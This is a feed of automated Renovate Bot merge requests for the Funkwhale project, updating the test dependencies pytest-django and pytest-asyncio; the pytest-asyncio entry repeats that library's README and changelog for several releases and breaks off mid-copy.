funkwhale merge requestshttps://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests2022-02-02T01:07:27Zhttps://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1560Update dependency pytest-django to v4.5.2 (develop) - autoclosed2022-02-02T01:07:27ZRenovateBotUpdate dependency pytest-django to v4.5.2 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [pytest-django](https://pytest-django.readthedocs.io/) ([source](https://github.com/pytest-dev/pytest-django), [changelog](https://pytest-d...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [pytest-django](https://pytest-django.readthedocs.io/) ([source](https://github.com/pytest-dev/pytest-django), [changelog](https://pytest-django.readthedocs.io/en/latest/changelog.html)) | dev-dependencies | minor | `==4.4.0` -> `==4.5.2` |
---
### Release Notes
<details>
<summary>pytest-dev/pytest-django</summary>
### [`v4.5.2`](https://github.com/pytest-dev/pytest-django/releases/v4.5.2)
[Compare Source](https://github.com/pytest-dev/pytest-django/compare/v4.5.1...v4.5.2)
https://pytest-django.readthedocs.io/en/latest/changelog.html#v4-5-2-2021-12-07
### [`v4.5.1`](https://github.com/pytest-dev/pytest-django/releases/v4.5.1)
[Compare Source](https://github.com/pytest-dev/pytest-django/compare/v4.5.0...v4.5.1)
https://pytest-django.readthedocs.io/en/latest/changelog.html#v4-5-1-2021-12-02
### [`v4.5.0`](https://github.com/pytest-dev/pytest-django/releases/v4.5.0)
[Compare Source](https://github.com/pytest-dev/pytest-django/compare/v4.4.0...v4.5.0)
https://pytest-django.readthedocs.io/en/latest/changelog.html#v4-5-0-2021-12-01
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1559Update dependency pytest-asyncio to v0.17.2 (develop) - autoclosed2022-02-02T01:07:20ZRenovateBotUpdate dependency pytest-asyncio to v0.17.2 (develop) - autoclosedThis MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | dev-dependencies | minor | `==0.15.1` -> `==0.17.2` |
---
### Release No...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | dev-dependencies | minor | `==0.15.1` -> `==0.17.2` |
---
### Release Notes
<details>
<summary>pytest-dev/pytest-asyncio</summary>
### [`v0.17.2`](https://github.com/pytest-dev/pytest-asyncio/releases/v0.17.2)
[Compare Source](https://github.com/pytest-dev/pytest-asyncio/compare/v0.17.1...v0.17.2)
***
## title: 'pytest-asyncio: pytest support for asyncio'
[![image](https://img.shields.io/pypi/v/pytest-asyncio.svg)](https://pypi.python.org/pypi/pytest-asyncio)
[![image](https://github.com/pytest-dev/pytest-asyncio/workflows/CI/badge.svg)](https://github.com/pytest-dev/pytest-asyncio/actions?workflow=CI)
[![image](https://codecov.io/gh/pytest-dev/pytest-asyncio/branch/master/graph/badge.svg)](https://codecov.io/gh/pytest-dev/pytest-asyncio)
[![Supported Python versions](https://img.shields.io/pypi/pyversions/pytest-asyncio.svg)](https://github.com/pytest-dev/pytest-asyncio)
[![image](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/ambv/black)
pytest-asyncio is an Apache2 licensed library, written in Python, for
testing asyncio code with pytest.
asyncio code is usually written in the form of coroutines, which makes
it slightly more difficult to test using normal testing tools.
pytest-asyncio provides useful fixtures and markers to make testing
easier.
```{.sourceCode .python}
@​pytest.mark.asyncio
async def test_some_asyncio_code():
res = await library.do_something()
assert b"expected result" == res
```
pytest-asyncio has been strongly influenced by
[pytest-tornado](https://github.com/eugeniy/pytest-tornado).
# Features
- fixtures for creating and injecting versions of the asyncio event
loop
- fixtures for injecting unused tcp/udp ports
- pytest markers for treating tests as asyncio coroutines
- easy testing with non-default event loops
- support for \[async def]{.title-ref} fixtures and async generator
fixtures
- support *auto* mode to handle all async fixtures and tests
automatically by asyncio; provide *strict* mode if a test suite
should work with different async frameworks simultaneously, e.g.
`asyncio` and `trio`.
# Installation
To install pytest-asyncio, simply:
```{.sourceCode .bash}
$ pip install pytest-asyncio
```
This is enough for pytest to pick up pytest-asyncio.
# Modes
Starting from `pytest-asyncio>=0.17`, three modes are provided: *auto*,
*strict* and *legacy* (default).
The mode can be set by `asyncio_mode` configuration option in
[configuration
file](https://docs.pytest.org/en/latest/reference/customize.html):
```{.sourceCode .ini}
### pytest.ini
[pytest]
asyncio_mode = auto
```
The value can be overriden by command-line option for `pytest`
invocation:
```{.sourceCode .bash}
$ pytest tests --asyncio-mode=strict
```
## Auto mode
When the mode is auto, all discovered *async* tests are considered
*asyncio-driven* even if they have no `@pytest.mark.asyncio` marker.
All async fixtures are considered *asyncio-driven* as well, even if they
are decorated with a regular `@pytest.fixture` decorator instead of
dedicated `@pytest_asyncio.fixture` counterpart.
*asyncio-driven* means that tests and fixtures are executed by
`pytest-asyncio` plugin.
This mode requires the simplest tests and fixtures configuration and is
recommended for default usage *unless* the same project and its test
suite should execute tests from different async frameworks, e.g.
`asyncio` and `trio`. In this case, auto-handling can break tests
designed for other framework; plase use *strict* mode instead.
## Strict mode
Strict mode enforces `@pytest.mark.asyncio` and
`@pytest_asyncio.fixture` usage. Without these markers, tests and
fixtures are not considered as *asyncio-driven*, other pytest plugin can
handle them.
Please use this mode if multiple async frameworks should be combined in
the same test suite.
## Legacy mode
This mode follows rules used by `pytest-asyncio<0.17`: tests are not
auto-marked but fixtures are.
This mode is used by default for the sake of backward compatibility,
deprecation warnings are emitted with suggestion to either switching to
`auto` mode or using `strict` mode with `@pytest_asyncio.fixture`
decorators.
In future, the default will be changed.
# Fixtures
## `event_loop`
Creates and injects a new instance of the default asyncio event loop. By
default, the loop will be closed at the end of the test (i.e. the
default fixture scope is `function`).
Note that just using the `event_loop` fixture won't make your test
function a coroutine. You'll need to interact with the event loop
directly, using methods like `event_loop.run_until_complete`. See the
`pytest.mark.asyncio` marker for treating test functions like
coroutines.
Simply using this fixture will not set the generated event loop as the
default asyncio event loop, or change the asyncio event loop policy in
any way. Use `pytest.mark.asyncio` for this purpose.
```{.sourceCode .python}
def test_http_client(event_loop):
url = "http://httpbin.org/get"
resp = event_loop.run_until_complete(http_client(url))
assert b"HTTP/1.1 200 OK" in resp
```
This fixture can be easily overridden in any of the standard pytest
locations (e.g. directly in the test file, or in `conftest.py`) to use a
non-default event loop. This will take effect even if you're using the
`pytest.mark.asyncio` marker and not the `event_loop` fixture directly.
```{.sourceCode .python}
@​pytest.fixture
def event_loop():
loop = MyCustomLoop()
yield loop
loop.close()
```
If the `pytest.mark.asyncio` marker is applied, a pytest hook will
ensure the produced loop is set as the default global loop. Fixtures
depending on the `event_loop` fixture can expect the policy to be
properly modified when they run.
## `unused_tcp_port`
Finds and yields a single unused TCP port on the localhost interface.
Useful for binding temporary test servers.
## `unused_tcp_port_factory`
A callable which returns a different unused TCP port each invocation.
Useful when several unused TCP ports are required in a test.
```{.sourceCode .python}
def a_test(unused_tcp_port_factory):
port1, port2 = unused_tcp_port_factory(), unused_tcp_port_factory()
...
```
## `unused_udp_port` and `unused_udp_port_factory`
Work just like their TCP counterparts but return unused UDP ports.
## Async fixtures
Asynchronous fixtures are defined just like ordinary pytest fixtures,
except they should be decorated with `@pytest_asyncio.fixture`.
```{.sourceCode .python3}
import pytest_asyncio
@​pytest_asyncio.fixture
async def async_gen_fixture():
await asyncio.sleep(0.1)
yield "a value"
@​pytest_asyncio.fixture(scope="module")
async def async_fixture():
return await asyncio.sleep(0.1)
```
All scopes are supported, but if you use a non-function scope you will
need to redefine the `event_loop` fixture to have the same or broader
scope. Async fixtures need the event loop, and so must have the same or
narrower scope than the `event_loop` fixture.
*auto* and *legacy* mode automatically converts async fixtures declared
with the standard `@pytest.fixture` decorator to *asyncio-driven*
versions.
# Markers
## `pytest.mark.asyncio`
Mark your test coroutine with this marker and pytest will execute it as
an asyncio task using the event loop provided by the `event_loop`
fixture. See the introductory section for an example.
The event loop used can be overridden by overriding the `event_loop`
fixture (see above).
In order to make your test code a little more concise, the pytest
`pytestmark`\_ feature can be used to mark entire modules or classes
with this marker. Only test coroutines will be affected (by default,
coroutines prefixed by `test_`), so, for example, fixtures are safe to
define.
```{.sourceCode .python}
import asyncio
import pytest
### All test coroutines will be treated as marked.
pytestmark = pytest.mark.asyncio
async def test_example(event_loop):
"""No marker!"""
await asyncio.sleep(0, loop=event_loop)
```
In *auto* mode, the `pytest.mark.asyncio` marker can be omitted, the
marker is added automatically to *async* test functions.
# Note about unittest
Test classes subclassing the standard
[unittest](https://docs.python.org/3/library/unittest.html) library are
not supported, users are recommended to use
[unitest.IsolatedAsyncioTestCase](https://docs.python.org/3/library/unittest.html#unittest.IsolatedAsyncioTestCase)
or an async framework such as
[asynctest](https://asynctest.readthedocs.io/en/latest).
# Changelog
## 0.17.2 (22-01-17)
- Require `typing-extensions` on Python<3.8 only.
[#​269](https://github.com/pytest-dev/pytest-asyncio/issues/269)
- Fix a regression in tests collection introduced by 0.17.1, the
plugin works fine with non-python tests again.
[#​267](https://github.com/pytest-dev/pytest-asyncio/issues/267)
## 0.17.1 (22-01-16)
- Fixes a bug that prevents async Hypothesis tests from working
without explicit `asyncio` marker when `--asyncio-mode=auto` is set.
[#​258](https://github.com/pytest-dev/pytest-asyncio/issues/258)
- Fixed a bug that closes the default event loop if the loop doesn't
exist
[#​257](https://github.com/pytest-dev/pytest-asyncio/issues/257)
- Added type annotations.
[#​198](https://github.com/pytest-dev/pytest-asyncio/issues/198)
- Show asyncio mode in pytest report headers.
[#​266](https://github.com/pytest-dev/pytest-asyncio/issues/266)
- Relax `asyncio_mode` type definition; it allows to support pytest
6.1+.
[#​262](https://github.com/pytest-dev/pytest-asyncio/issues/262)
## 0.17.0 (22-01-13)
- \[pytest-asyncio]{.title-ref} no longer alters existing event loop
policies.
[#​168](https://github.com/pytest-dev/pytest-asyncio/issues/168),
[#​188](https://github.com/pytest-dev/pytest-asyncio/issues/168)
- Drop support for Python 3.6
- Fixed an issue when pytest-asyncio was used in combination with
\[flaky]{.title-ref} or inherited asynchronous Hypothesis tests.
[#​178](https://github.com/pytest-dev/pytest-asyncio/issues/178)
[#​231](https://github.com/pytest-dev/pytest-asyncio/issues/231)
- Added [flaky](https://pypi.org/project/flaky/) to test dependencies
- Added `unused_udp_port` and `unused_udp_port_factory` fixtures
(similar to `unused_tcp_port` and `unused_tcp_port_factory`
counterparts.
[#​99](https://github.com/pytest-dev/pytest-asyncio/issues/99)
- Added the plugin modes: *strict*, *auto*, and *legacy*. See
[documentation](https://github.com/pytest-dev/pytest-asyncio#modes)
for details.
[#​125](https://github.com/pytest-dev/pytest-asyncio/issues/125)
- Correctly process `KeyboardInterrupt` during async fixture setup
phase
[#​219](https://github.com/pytest-dev/pytest-asyncio/issues/219)
## 0.16.0 (2021-10-16)
- Add support for Python 3.10
## 0.15.1 (2021-04-22)
- Hotfix for errors while closing event loops while replacing them.
[#​209](https://github.com/pytest-dev/pytest-asyncio/issues/209)
[#​210](https://github.com/pytest-dev/pytest-asyncio/issues/210)
## 0.15.0 (2021-04-19)
- Add support for Python 3.9
- Abandon support for Python 3.5. If you still require support for
Python 3.5, please use pytest-asyncio v0.14 or earlier.
- Set `unused_tcp_port_factory` fixture scope to 'session'.
[#​163](https://github.com/pytest-dev/pytest-asyncio/pull/163)
- Properly close event loops when replacing them.
[#​208](https://github.com/pytest-dev/pytest-asyncio/issues/208)
## 0.14.0 (2020-06-24)
- Fix
[#​162](https://github.com/pytest-dev/pytest-asyncio/issues/162),
and `event_loop` fixture behavior now is coherent on all scopes.
[#​164](https://github.com/pytest-dev/pytest-asyncio/pull/164)
## 0.12.0 (2020-05-04)
- Run the event loop fixture as soon as possible. This helps with
fixtures that have an implicit dependency on the event loop.
[#​156](https://github.com/pytest-dev/pytest-asyncio/pull/156)
## 0.11.0 (2020-04-20)
- Test on 3.8, drop 3.3 and 3.4. Stick to 0.10 for these versions.
[#​152](https://github.com/pytest-dev/pytest-asyncio/pull/152)
- Use the new Pytest 5.4.0 Function API. We therefore depend on
pytest >= 5.4.0.
[#​142](https://github.com/pytest-dev/pytest-asyncio/pull/142)
- Better `pytest.skip` support.
[#​126](https://github.com/pytest-dev/pytest-asyncio/pull/126)
## 0.10.0 (2019-01-08)
- `pytest-asyncio` integrates with
[Hypothesis](https://hypothesis.readthedocs.io) to support `@given`
on async test functions using `asyncio`.
[#​102](https://github.com/pytest-dev/pytest-asyncio/pull/102)
- Pytest 4.1 support.
[#​105](https://github.com/pytest-dev/pytest-asyncio/pull/105)
## 0.9.0 (2018-07-28)
- Python 3.7 support.
- Remove `event_loop_process_pool` fixture and
`pytest.mark.asyncio_process_pool` marker (see
<https://bugs.python.org/issue34075> for deprecation and removal
details)
## 0.8.0 (2017-09-23)
- Improve integration with other packages (like aiohttp) with more
careful event loop handling.
[#​64](https://github.com/pytest-dev/pytest-asyncio/pull/64)
## 0.7.0 (2017-09-08)
- Python versions pre-3.6 can use the async_generator library for
async fixtures. \[[#​62](https://github.com/pytest-dev/pytest-asyncio/issues/62)
\<https://github.com/pytest-dev/pytest-asyncio/pull/62>]{.title-ref}
## 0.6.0 (2017-05-28)
- Support for Python versions pre-3.5 has been dropped.
- `pytestmark` now works on both module and class level.
- The `forbid_global_loop` parameter has been removed.
- Support for async and async gen fixtures has been added.
[#​45](https://github.com/pytest-dev/pytest-asyncio/pull/45)
- The deprecation warning regarding `asyncio.async()` has been fixed.
[#​51](https://github.com/pytest-dev/pytest-asyncio/pull/51)
## 0.5.0 (2016-09-07)
- Introduced a changelog.
[#​31](https://github.com/pytest-dev/pytest-asyncio/issues/31)
- The `event_loop` fixture is again responsible for closing itself.
This makes the fixture slightly harder to correctly override, but
enables other fixtures to depend on it correctly.
[#​30](https://github.com/pytest-dev/pytest-asyncio/issues/30)
- Deal with the event loop policy by wrapping a special pytest hook,
`pytest_fixture_setup`. This allows setting the policy before
fixtures dependent on the `event_loop` fixture run, thus allowing
them to take advantage of the `forbid_global_loop` parameter. As a
consequence of this, we now depend on pytest 3.0.
[#​29](https://github.com/pytest-dev/pytest-asyncio/issues/29)
## 0.4.1 (2016-06-01)
- Fix a bug preventing the propagation of exceptions from the plugin.
[#​25](https://github.com/pytest-dev/pytest-asyncio/issues/25)
## 0.4.0 (2016-05-30)
- Make `event_loop` fixtures simpler to override by closing them in
the plugin, instead of directly in the fixture.
[#​21](https://github.com/pytest-dev/pytest-asyncio/pull/21)
- Introduce the `forbid_global_loop` parameter.
[#​21](https://github.com/pytest-dev/pytest-asyncio/pull/21)
## 0.3.0 (2015-12-19)
- Support for Python 3.5 `async`/`await` syntax.
[#​17](https://github.com/pytest-dev/pytest-asyncio/pull/17)
## 0.2.0 (2015-08-01)
- `unused_tcp_port_factory` fixture.
[#​10](https://github.com/pytest-dev/pytest-asyncio/issues/10)
## 0.1.1 (2015-04-23)
Initial release.
# Contributing
Contributions are very welcome. Tests can be run with `tox`, please
ensure the coverage at least stays the same before you submit a pull
request.
### [`v0.17.1`](https://github.com/pytest-dev/pytest-asyncio/releases/v0.17.1)
[Compare Source](https://github.com/pytest-dev/pytest-asyncio/compare/v0.17.0...v0.17.1)
***
## title: 'pytest-asyncio: pytest support for asyncio'
[![image](https://img.shields.io/pypi/v/pytest-asyncio.svg)](https://pypi.python.org/pypi/pytest-asyncio)
[![image](https://github.com/pytest-dev/pytest-asyncio/workflows/CI/badge.svg)](https://github.com/pytest-dev/pytest-asyncio/actions?workflow=CI)
[![image](https://codecov.io/gh/pytest-dev/pytest-asyncio/branch/master/graph/badge.svg)](https://codecov.io/gh/pytest-dev/pytest-asyncio)
[![Supported Python versions](https://img.shields.io/pypi/pyversions/pytest-asyncio.svg)](https://github.com/pytest-dev/pytest-asyncio)
[![image](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/ambv/black)
pytest-asyncio is an Apache2 licensed library, written in Python, for
testing asyncio code with pytest.
asyncio code is usually written in the form of coroutines, which makes
it slightly more difficult to test using normal testing tools.
pytest-asyncio provides useful fixtures and markers to make testing
easier.
```{.sourceCode .python}
@​pytest.mark.asyncio
async def test_some_asyncio_code():
res = await library.do_something()
assert b"expected result" == res
```
pytest-asyncio has been strongly influenced by
[pytest-tornado](https://github.com/eugeniy/pytest-tornado).
# Features
- fixtures for creating and injecting versions of the asyncio event
loop
- fixtures for injecting unused tcp/udp ports
- pytest markers for treating tests as asyncio coroutines
- easy testing with non-default event loops
- support for \[async def]{.title-ref} fixtures and async generator
fixtures
- support *auto* mode to handle all async fixtures and tests
automatically by asyncio; provide *strict* mode if a test suite
should work with different async frameworks simultaneously, e.g.
`asyncio` and `trio`.
# Installation
To install pytest-asyncio, simply:
```{.sourceCode .bash}
$ pip install pytest-asyncio
```
This is enough for pytest to pick up pytest-asyncio.
# Modes
Starting from `pytest-asyncio>=0.17`, three modes are provided: *auto*,
*strict* and *legacy* (default).
The mode can be set by `asyncio_mode` configuration option in
[configuration
file](https://docs.pytest.org/en/latest/reference/customize.html):
```{.sourceCode .ini}
### pytest.ini
[pytest]
asyncio_mode = auto
```
The value can be overriden by command-line option for `pytest`
invocation:
```{.sourceCode .bash}
$ pytest tests --asyncio-mode=strict
```
## Auto mode
When the mode is auto, all discovered *async* tests are considered
*asyncio-driven* even if they have no `@pytest.mark.asyncio` marker.
All async fixtures are considered *asyncio-driven* as well, even if they
are decorated with a regular `@pytest.fixture` decorator instead of
dedicated `@pytest_asyncio.fixture` counterpart.
*asyncio-driven* means that tests and fixtures are executed by
`pytest-asyncio` plugin.
This mode requires the simplest tests and fixtures configuration and is
recommended for default usage *unless* the same project and its test
suite should execute tests from different async frameworks, e.g.
`asyncio` and `trio`. In this case, auto-handling can break tests
designed for other framework; plase use *strict* mode instead.
## Strict mode
Strict mode enforces `@pytest.mark.asyncio` and
`@pytest_asyncio.fixture` usage. Without these markers, tests and
fixtures are not considered as *asyncio-driven*, other pytest plugin can
handle them.
Please use this mode if multiple async frameworks should be combined in
the same test suite.
## Legacy mode
This mode follows rules used by `pytest-asyncio<0.17`: tests are not
auto-marked but fixtures are.
This mode is used by default for the sake of backward compatibility,
deprecation warnings are emitted with suggestion to either switching to
`auto` mode or using `strict` mode with `@pytest_asyncio.fixture`
decorators.
In future, the default will be changed.
# Fixtures
## `event_loop`
Creates and injects a new instance of the default asyncio event loop. By
default, the loop will be closed at the end of the test (i.e. the
default fixture scope is `function`).
Note that just using the `event_loop` fixture won't make your test
function a coroutine. You'll need to interact with the event loop
directly, using methods like `event_loop.run_until_complete`. See the
`pytest.mark.asyncio` marker for treating test functions like
coroutines.
Simply using this fixture will not set the generated event loop as the
default asyncio event loop, or change the asyncio event loop policy in
any way. Use `pytest.mark.asyncio` for this purpose.
```{.sourceCode .python}
def test_http_client(event_loop):
url = "http://httpbin.org/get"
resp = event_loop.run_until_complete(http_client(url))
assert b"HTTP/1.1 200 OK" in resp
```
This fixture can be easily overridden in any of the standard pytest
locations (e.g. directly in the test file, or in `conftest.py`) to use a
non-default event loop. This will take effect even if you're using the
`pytest.mark.asyncio` marker and not the `event_loop` fixture directly.
```{.sourceCode .python}
@​pytest.fixture
def event_loop():
loop = MyCustomLoop()
yield loop
loop.close()
```
If the `pytest.mark.asyncio` marker is applied, a pytest hook will
ensure the produced loop is set as the default global loop. Fixtures
depending on the `event_loop` fixture can expect the policy to be
properly modified when they run.
## `unused_tcp_port`
Finds and yields a single unused TCP port on the localhost interface.
Useful for binding temporary test servers.
## `unused_tcp_port_factory`
A callable which returns a different unused TCP port each invocation.
Useful when several unused TCP ports are required in a test.
```{.sourceCode .python}
def a_test(unused_tcp_port_factory):
port1, port2 = unused_tcp_port_factory(), unused_tcp_port_factory()
...
```
## `unused_udp_port` and `unused_udp_port_factory`
Work just like their TCP counterparts but return unused UDP ports.
## Async fixtures
Asynchronous fixtures are defined just like ordinary pytest fixtures,
except they should be decorated with `@pytest_asyncio.fixture`.
```{.sourceCode .python3}
import pytest_asyncio
@​pytest_asyncio.fixture
async def async_gen_fixture():
await asyncio.sleep(0.1)
yield "a value"
@​pytest_asyncio.fixture(scope="module")
async def async_fixture():
return await asyncio.sleep(0.1)
```
All scopes are supported, but if you use a non-function scope you will
need to redefine the `event_loop` fixture to have the same or broader
scope. Async fixtures need the event loop, and so must have the same or
narrower scope than the `event_loop` fixture.
*auto* and *legacy* mode automatically converts async fixtures declared
with the standard `@pytest.fixture` decorator to *asyncio-driven*
versions.
# Markers
## `pytest.mark.asyncio`
Mark your test coroutine with this marker and pytest will execute it as
an asyncio task using the event loop provided by the `event_loop`
fixture. See the introductory section for an example.
The event loop used can be overridden by overriding the `event_loop`
fixture (see above).
In order to make your test code a little more concise, the pytest
`pytestmark`\_ feature can be used to mark entire modules or classes
with this marker. Only test coroutines will be affected (by default,
coroutines prefixed by `test_`), so, for example, fixtures are safe to
define.
```{.sourceCode .python}
import asyncio
import pytest
### All test coroutines will be treated as marked.
pytestmark = pytest.mark.asyncio
async def test_example(event_loop):
"""No marker!"""
await asyncio.sleep(0, loop=event_loop)
```
In *auto* mode, the `pytest.mark.asyncio` marker can be omitted, the
marker is added automatically to *async* test functions.
# Note about unittest
Test classes subclassing the standard
[unittest](https://docs.python.org/3/library/unittest.html) library are
not supported, users are recommended to use
[unitest.IsolatedAsyncioTestCase](https://docs.python.org/3/library/unittest.html#unittest.IsolatedAsyncioTestCase)
or an async framework such as
[asynctest](https://asynctest.readthedocs.io/en/latest).
# Changelog
## 0.17.1 (22-01-16)
- Fixes a bug that prevents async Hypothesis tests from working
without explicit `asyncio` marker when `--asyncio-mode=auto` is set.
[#​258](https://github.com/pytest-dev/pytest-asyncio/issues/258)
- Fixed a bug that closes the default event loop if the loop doesn't
exist
[#​257](https://github.com/pytest-dev/pytest-asyncio/issues/257)
- Added type annotations.
[#​198](https://github.com/pytest-dev/pytest-asyncio/issues/198)
- Show asyncio mode in pytest report headers.
[#​266](https://github.com/pytest-dev/pytest-asyncio/issues/266)
- Relax `asyncio_mode` type definition; it allows to support pytest
6.1+.
[#​262](https://github.com/pytest-dev/pytest-asyncio/issues/262)
## 0.17.0 (22-01-13)
- \[pytest-asyncio]{.title-ref} no longer alters existing event loop
policies.
[#​168](https://github.com/pytest-dev/pytest-asyncio/issues/168),
[#​188](https://github.com/pytest-dev/pytest-asyncio/issues/168)
- Drop support for Python 3.6
- Fixed an issue when pytest-asyncio was used in combination with
\[flaky]{.title-ref} or inherited asynchronous Hypothesis tests.
[#​178](https://github.com/pytest-dev/pytest-asyncio/issues/178)
[#​231](https://github.com/pytest-dev/pytest-asyncio/issues/231)
- Added [flaky](https://pypi.org/project/flaky/) to test dependencies
- Added `unused_udp_port` and `unused_udp_port_factory` fixtures
(similar to `unused_tcp_port` and `unused_tcp_port_factory`
counterparts.
[#​99](https://github.com/pytest-dev/pytest-asyncio/issues/99)
- Added the plugin modes: *strict*, *auto*, and *legacy*. See
[documentation](https://github.com/pytest-dev/pytest-asyncio#modes)
for details.
[#​125](https://github.com/pytest-dev/pytest-asyncio/issues/125)
- Correctly process `KeyboardInterrupt` during async fixture setup
phase
[#​219](https://github.com/pytest-dev/pytest-asyncio/issues/219)
## 0.16.0 (2021-10-16)
- Add support for Python 3.10
## 0.15.1 (2021-04-22)
- Hotfix for errors while closing event loops while replacing them.
[#​209](https://github.com/pytest-dev/pytest-asyncio/issues/209)
[#​210](https://github.com/pytest-dev/pytest-asyncio/issues/210)
## 0.15.0 (2021-04-19)
- Add support for Python 3.9
- Abandon support for Python 3.5. If you still require support for
Python 3.5, please use pytest-asyncio v0.14 or earlier.
- Set `unused_tcp_port_factory` fixture scope to 'session'.
[#​163](https://github.com/pytest-dev/pytest-asyncio/pull/163)
- Properly close event loops when replacing them.
[#​208](https://github.com/pytest-dev/pytest-asyncio/issues/208)
## 0.14.0 (2020-06-24)
- Fix
[#​162](https://github.com/pytest-dev/pytest-asyncio/issues/162),
and `event_loop` fixture behavior now is coherent on all scopes.
[#​164](https://github.com/pytest-dev/pytest-asyncio/pull/164)
## 0.12.0 (2020-05-04)
- Run the event loop fixture as soon as possible. This helps with
fixtures that have an implicit dependency on the event loop.
[#​156](https://github.com/pytest-dev/pytest-asyncio/pull/156)
## 0.11.0 (2020-04-20)
- Test on 3.8, drop 3.3 and 3.4. Stick to 0.10 for these versions.
[#​152](https://github.com/pytest-dev/pytest-asyncio/pull/152)
- Use the new Pytest 5.4.0 Function API. We therefore depend on
pytest >= 5.4.0.
[#​142](https://github.com/pytest-dev/pytest-asyncio/pull/142)
- Better `pytest.skip` support.
[#​126](https://github.com/pytest-dev/pytest-asyncio/pull/126)
## 0.10.0 (2019-01-08)
- `pytest-asyncio` integrates with
[Hypothesis](https://hypothesis.readthedocs.io) to support `@given`
on async test functions using `asyncio`.
[#​102](https://github.com/pytest-dev/pytest-asyncio/pull/102)
- Pytest 4.1 support.
[#​105](https://github.com/pytest-dev/pytest-asyncio/pull/105)
## 0.9.0 (2018-07-28)
- Python 3.7 support.
- Remove `event_loop_process_pool` fixture and
`pytest.mark.asyncio_process_pool` marker (see
<https://bugs.python.org/issue34075> for deprecation and removal
details)
## 0.8.0 (2017-09-23)
- Improve integration with other packages (like aiohttp) with more
careful event loop handling.
[#​64](https://github.com/pytest-dev/pytest-asyncio/pull/64)
## 0.7.0 (2017-09-08)
- Python versions pre-3.6 can use the async_generator library for
async fixtures. \[[#​62](https://github.com/pytest-dev/pytest-asyncio/issues/62)
\<https://github.com/pytest-dev/pytest-asyncio/pull/62>]{.title-ref}
## 0.6.0 (2017-05-28)
- Support for Python versions pre-3.5 has been dropped.
- `pytestmark` now works on both module and class level.
- The `forbid_global_loop` parameter has been removed.
- Support for async and async gen fixtures has been added.
[#​45](https://github.com/pytest-dev/pytest-asyncio/pull/45)
- The deprecation warning regarding `asyncio.async()` has been fixed.
[#​51](https://github.com/pytest-dev/pytest-asyncio/pull/51)
## 0.5.0 (2016-09-07)
- Introduced a changelog.
[#​31](https://github.com/pytest-dev/pytest-asyncio/issues/31)
- The `event_loop` fixture is again responsible for closing itself.
This makes the fixture slightly harder to correctly override, but
enables other fixtures to depend on it correctly.
[#​30](https://github.com/pytest-dev/pytest-asyncio/issues/30)
- Deal with the event loop policy by wrapping a special pytest hook,
`pytest_fixture_setup`. This allows setting the policy before
fixtures dependent on the `event_loop` fixture run, thus allowing
them to take advantage of the `forbid_global_loop` parameter. As a
consequence of this, we now depend on pytest 3.0.
[#​29](https://github.com/pytest-dev/pytest-asyncio/issues/29)
## 0.4.1 (2016-06-01)
- Fix a bug preventing the propagation of exceptions from the plugin.
[#​25](https://github.com/pytest-dev/pytest-asyncio/issues/25)
## 0.4.0 (2016-05-30)
- Make `event_loop` fixtures simpler to override by closing them in
the plugin, instead of directly in the fixture.
[#​21](https://github.com/pytest-dev/pytest-asyncio/pull/21)
- Introduce the `forbid_global_loop` parameter.
[#​21](https://github.com/pytest-dev/pytest-asyncio/pull/21)
## 0.3.0 (2015-12-19)
- Support for Python 3.5 `async`/`await` syntax.
[#​17](https://github.com/pytest-dev/pytest-asyncio/pull/17)
## 0.2.0 (2015-08-01)
- `unused_tcp_port_factory` fixture.
[#​10](https://github.com/pytest-dev/pytest-asyncio/issues/10)
## 0.1.1 (2015-04-23)
Initial release.
# Contributing
Contributions are very welcome. Tests can be run with `tox`, please
ensure the coverage at least stays the same before you submit a pull
request.
### [`v0.17.0`](https://github.com/pytest-dev/pytest-asyncio/releases/v0.17.0)
[Compare Source](https://github.com/pytest-dev/pytest-asyncio/compare/v0.16.0...v0.17.0)
***
## title: 'pytest-asyncio: pytest support for asyncio'
[![image](https://img.shields.io/pypi/v/pytest-asyncio.svg)](https://pypi.python.org/pypi/pytest-asyncio)
[![image](https://github.com/pytest-dev/pytest-asyncio/workflows/CI/badge.svg)](https://github.com/pytest-dev/pytest-asyncio/actions?workflow=CI)
[![image](https://codecov.io/gh/pytest-dev/pytest-asyncio/branch/master/graph/badge.svg)](https://codecov.io/gh/pytest-dev/pytest-asyncio)
[![Supported Python versions](https://img.shields.io/pypi/pyversions/pytest-asyncio.svg)](https://github.com/pytest-dev/pytest-asyncio)
[![image](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/ambv/black)
pytest-asyncio is an Apache2 licensed library, written in Python, for
testing asyncio code with pytest.
asyncio code is usually written in the form of coroutines, which makes
it slightly more difficult to test using normal testing tools.
pytest-asyncio provides useful fixtures and markers to make testing
easier.
```{.sourceCode .python}
@​pytest.mark.asyncio
async def test_some_asyncio_code():
res = await library.do_something()
assert b"expected result" == res
```
pytest-asyncio has been strongly influenced by
[pytest-tornado](https://github.com/eugeniy/pytest-tornado).
# Features
- fixtures for creating and injecting versions of the asyncio event
loop
- fixtures for injecting unused tcp/udp ports
- pytest markers for treating tests as asyncio coroutines
- easy testing with non-default event loops
- support for \[async def]{.title-ref} fixtures and async generator
fixtures
- support *auto* mode to handle all async fixtures and tests
automatically by asyncio; provide *strict* mode if a test suite
should work with different async frameworks simultaneously, e.g.
`asyncio` and `trio`.
# Installation
To install pytest-asyncio, simply:
```{.sourceCode .bash}
$ pip install pytest-asyncio
```
This is enough for pytest to pick up pytest-asyncio.
# Modes
Starting from `pytest-asyncio>=0.17`, three modes are provided: *auto*,
